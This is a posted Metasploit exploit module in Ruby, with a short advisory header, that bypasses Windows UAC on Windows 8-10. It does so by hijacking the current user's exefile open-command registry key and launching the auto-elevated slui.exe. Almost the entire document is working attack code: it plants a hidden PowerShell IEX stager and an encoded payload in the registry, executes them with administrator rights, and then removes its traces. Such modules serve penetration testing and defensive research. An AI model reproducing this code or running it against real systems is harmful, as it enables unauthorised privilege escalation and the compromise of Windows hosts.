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Windows UAC Protection Bypass (Via Slui File Handler Hijack)

Windows UAC Protection Bypass (Via Slui File Handler Hijack)
Posted May 31, 2018
Authored by bytecode-77, gushmazuko | Site metasploit.com

This Metasploit module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under the Current User hive, and inserting a custom command that will get invoked when any binary (.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable to file handler hijacking. When we run slui.exe with changed Registry key (HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin instead of slui.exe. The module modifies the registry in order for this exploit to work. The modification is reverted once the exploitation attempt has finished. The module does not require the architecture of the payload to match the OS. If specifying EXE::Custom your DLL should call ExitProcess() after starting the payload in a different process.

tags | exploit, shell, registry
systems | windows
MD5 | cbaf903a1f48babbbfdd55bd95607ccf

Windows UAC Protection Bypass (Via Slui File Handler Hijack)

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Exploit::Powershell
include Post::Windows::Priv
include Post::Windows::Registry
include Post::Windows::Runas

SLUI_DEL_KEY = "HKCU\\Software\\Classes\\exefile".freeze
SLUI_WRITE_KEY = "HKCU\\Software\\Classes\\exefile\\shell\\open\\command".freeze
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
SLUI_PATH = "%WINDIR%\\System32\\slui.exe".freeze
CMD_MAX_LEN = 16383

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)',
'Description' => %q{
This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under
the Current User hive, and inserting a custom command that will get invoked when any binary
(.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable
to file handler hijacking. When we run slui.exe with changed Registry key
(HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin
instead of slui.exe.

The module modifies the registry in order for this exploit to work. The modification is
reverted once the exploitation attempt has finished.

The module does not require the architecture of the payload to match the OS. If
specifying EXE::Custom your DLL should call ExitProcess() after starting the
payload in a different process.
},
'License' => MSF_LICENSE,
'Author' => [
'bytecode-77', # UAC bypass discovery and research
'gushmazuko', # MSF & PowerShell module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [
['Windows x86', { 'Arch' => ARCH_X86 }],
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'References' => [
[
'URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation',
'URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1'
]
],
'DisclosureDate' => 'Jan 15 2018'
)
)
end

def check
if sysinfo['OS'] =~ /Windows (8|10)/ && is_uac_enabled?
CheckCode::Appears
else
CheckCode::Safe
end
end

def exploit
# Validate that we can actually do things before we bother
# doing any more work
check_permissions!

commspec = 'powershell'
registry_view = REGISTRY_VIEW_NATIVE
psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"

# Make sure we have a sane payload configuration
if sysinfo['Architecture'] == ARCH_X64
if session.arch == ARCH_X86
# On x64, check arch
commspec = '%WINDIR%\\Sysnative\\cmd.exe /c powershell'
if target_arch.first == ARCH_X64
# We can't use absolute path here as
# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
psh_path = "powershell.exe"
end
end
if target_arch.first == ARCH_X86
# Invoking x86, so switch to SysWOW64
psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
end
else
# if we're on x86, we can't handle x64 payloads
if target_arch.first == ARCH_X64
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
end
end

if !payload.arch.empty? && (payload.arch.first != target_arch.first)
fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
end

case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end

payload_value = rand_text_alpha(8)
psh_path = expand_path(psh_path)

template_path = Rex::Powershell::Templates::TEMPLATE_DIR
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)

if psh_payload.length > CMD_MAX_LEN
fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
end

psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"

existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?

if existing.empty?
registry_createkey(SLUI_WRITE_KEY, registry_view)
end

print_status("Configuring payload and stager registry keys ...")
unless exist_delegate
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
end

registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
registry_setvaldata(SLUI_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)

# Calling slui.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
cmd_path = expand_path(commspec)
cmd_args = expand_path("Start-Process #{SLUI_PATH} -Verb runas")
print_status("Executing payload: #{cmd_path} #{cmd_args}")

# We can't use cmd_exec here because it blocks, waiting for a result.
client.sys.process.execute(cmd_path, cmd_args, 'Hidden' => true)

# Wait a copule of seconds to give the payload a chance to fire before cleaning up
# TODO: fix this up to use something smarter than a timeout?
sleep(3)

handler(client)

print_status("Cleaining ...")
unless exist_delegate
registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
end
if existing.empty?
registry_deletekey(SLUI_DEL_KEY, registry_view)
else
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
end
registry_deleteval(SLUI_WRITE_KEY, payload_value, registry_view)
end

def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
# is_in_admin_group can be nil, true, or false
print_status('UAC is Enabled, checking level...')
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end

if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
end

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